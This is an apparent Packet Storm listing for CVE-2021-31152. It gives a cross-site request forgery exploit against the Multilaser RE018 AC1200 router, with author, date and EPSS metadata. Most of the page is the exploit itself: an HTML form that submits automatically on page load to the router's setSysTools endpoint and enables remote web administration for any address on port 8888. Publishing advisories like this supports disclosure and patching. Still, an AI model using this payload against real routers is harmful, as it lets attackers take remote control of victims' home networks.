Multilaser Router RE018 AC1200 Cross Site Request Forgery

2021-04-2100:00:00

Rodolfo Mariano

packetstormsecurity.com

409

0.004 Low

EPSS

Percentile

74.9%

JSON

`# Exploit Title: Multilaser Router RE018 AC1200 - Cross-Site Request Forgery (Enable Remote Access)  
# Date: 14/04/2021  
# Exploit Author: Rodolfo Mariano  
# Version: Firmware V02.03.01.45_pt  
# CVE: CVE-2021-31152  
  
#Exploit code:  
<html>  
<body>  
<form action="http://192.168.0.1/goform/setSysTools" method="POST">  
<input name="module4" value="remoteWeb" type="hidden">  
<input name="remoteWebType" value="any" type="hidden">  
<input name="remoteWebIP" value="" type="hidden">  
<input name="remoteWebPort" value="8888" type="hidden">  
<input type="submit" value="Submit request">  
</form>  
</body>  
<script>  
document.forms[0].submit();  
</script>  
</body>  
</html>  
  
`

0.004 Low

EPSS

Percentile

74.9%

JSON

Related for PACKETSTORM:162258